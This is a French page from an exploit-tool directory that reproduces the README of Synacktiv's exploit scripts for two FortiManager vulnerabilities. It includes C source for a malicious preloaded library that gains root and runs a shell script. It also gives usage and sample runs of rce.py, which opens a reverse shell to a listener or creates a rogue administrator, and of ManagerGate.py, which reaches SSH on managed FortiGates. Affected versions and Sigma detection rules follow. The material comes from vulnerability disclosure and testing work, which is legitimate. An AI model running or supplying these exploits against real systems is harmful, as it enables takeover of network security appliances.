Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-42791_CVE-2024-23666 — Scripts d'exploitation pour CVE-2023-42791 et CVE-2024-23666. | Kitploit
Outils/GitHubGitHub/synacktiv/cve-2023-42791_cve-2024-23666
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à Distance

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
synacktiv/cve-2023-42791_cve-2024-23666

CVE-2023-42791_CVE-2024-23666

Scripts d'exploitation pour CVE-2023-42791 et CVE-2024-23666.

Voir le dépôt
623il y a 1 anPas encore vérifié

Scripts d'exploitation pour FortiManager – contrôles d'autorisation insuffisants (CVE-2024-23666) et téléchargement de fichier sans restriction (CVE-2023-42791)

Deux scripts d'exploitation utilisant ces vulnérabilités sont fournis :

  • rce.py : Fournit un reverse shell ou ajoute un administrateur arbitraire à partir d'un accès non privilégié au FortiManager.
  • ManagerGate.py : Permet de se connecter aux services SSH FortiGate gérés à distance. Les mots de passe SSH sont toujours nécessaires mais peuvent être trouvés dans la sauvegarde de configuration du FortiManager.

Pour plus de détails, veuillez consulter l'avis associé disponible sur https://www.synacktiv.com/advisories/advisories/fortimanager-multiple-vulnerabilities

Utilisation

rce.py

Compilez une bibliothèque malveillante qui exécutera /rce.sh :

root@kitploit:~
$ cat rce.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    if (getuid() != 0) return 0;
    unlink("/etc/ld.so.preload");
    if (fork() == 0) {
        setgid(0);
        setuid(0);
        system("/bin/bash /rce.sh");
    }
    return 0;
}

$ gcc -fPIC -shared -o rce.so rce.c -nostartfiles

Utilisation :

root@kitploit:~
$ python3 rce.py -h
usage: rce.py [-h] [-k] [-l LIBRARY] connection {revshell,adduser} ...

positional arguments:
  connection            User, password, and host (user:password@host)

options:
  -h, --help            show this help message and exit
  -k, --insecure        Do not check the remote host certificate (default: False)
  -l LIBRARY, --library LIBRARY
                        Malicious library path (default: /tmp/rce.so)

Action to run:
  {revshell,adduser}
    revshell            Run a Python reverse shell
    adduser             Create a new administrator

Pour obtenir un reverse shell :

root@kitploit:~
$ python3 rce.py -k -l ./rce.so lowpriv:[email protected] revshell 10.10.10.100 1234
[+] Login to the FortiManager
[+] Uploading /rce.sh
[+] Uploading /rce.so
[+] Uploading /etc/ld.so.preload
[+] Login out of the FortiManager to trigger the RCE

Pour ajouter un nouvel administrateur au FortiManager :

root@kitploit:~
$ python3 rce.py -k -l ./rce.so lowpriv:[email protected] adduser malicious_adm password
[+] Login to the FortiManager
[+] Uploading /create_user.txt
[+] Uploading /rce.sh
[+] Uploading /rce.so
[+] Uploading /etc/ld.so.preload
[+] Login out of the FortiManager to trigger the RCE

ManagerGate.py

root@kitploit:~
$ python3 ManagerGate.py -h
usage: ManagerGate.py [-h] -H HOST -u USER -p PASSWORD [-d DEVICEID] [-i TUNNELIP] [-l] [-x PROXY] -U GU [-v VERBOSE]

get a shell on fortigate

options:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  host of the fortimanager
  -u USER, --user USER  user to connect with to the fortimanager
  -p PASSWORD, --password PASSWORD
                        password to connect to the fortimanager
  -d DEVICEID, --deviceid DEVICEID
                        device oid to get shell
  -i TUNNELIP, --tunnelip TUNNELIP
                        tunnel ip of the fortigate
  -l, --local           local connect to fortimanager
  -x PROXY, --proxy PROXY
                        proxy request
  -U GU, --gu GU        user to connect with to the fortigate
  -v VERBOSE, --verbose VERBOSE

Exemple

root@kitploit:~
$ python3 ManagerGate.py -H 10.0.0.1 -u ReadOnlyUser -p MyPassword123 -d 1011 -i 169.254.0.2   -U root

L'OID de l'appareil et l'adresse IP du tunnel des FortiGates ciblés peuvent être trouvés sur l'interface graphique du FortiManager.

Versions affectées

  • CVE-2023-42791
    • FortiManager ≤ 7.4.0 ≤ 7.2.3 ≤ 7.0.8 ≤ 6.4.12 ≤ 6.2.11
  • CVE-2024-23666
    • FortiManager ≤ 7.4.2 ≤ 7.2.5 ≤ 7.0.12 ≤ 6.4.14
    • FortiAnalyzer ≤ 7.4.2 ≤ 7.2.5 ≤ 7.0.12 ≤ 6.4.14
    • FortiAnalyzer-BigData ≤ 7.4.0 ≤ 7.2.6 7.0.x 6.4.x 6.2.x

Règles de détection Sigma

Les règles de détection Sigma visant à détecter l'utilisation de ces scripts d'exploitation sont disponibles dans le dépôt de règles de Synacktiv : https://github.com/synacktiv/synacktiv-rules/tree/main/2025/fortimanager

Références

  • https://www.synacktiv.com/advisories/advisories/fortimanager-multiple-vulnerabilities
  • https://fortiguard.fortinet.com/psirt/FG-IR-23-189
  • https://fortiguard.fortinet.com/psirt/FG-IR-23-396
Télécharger l’outil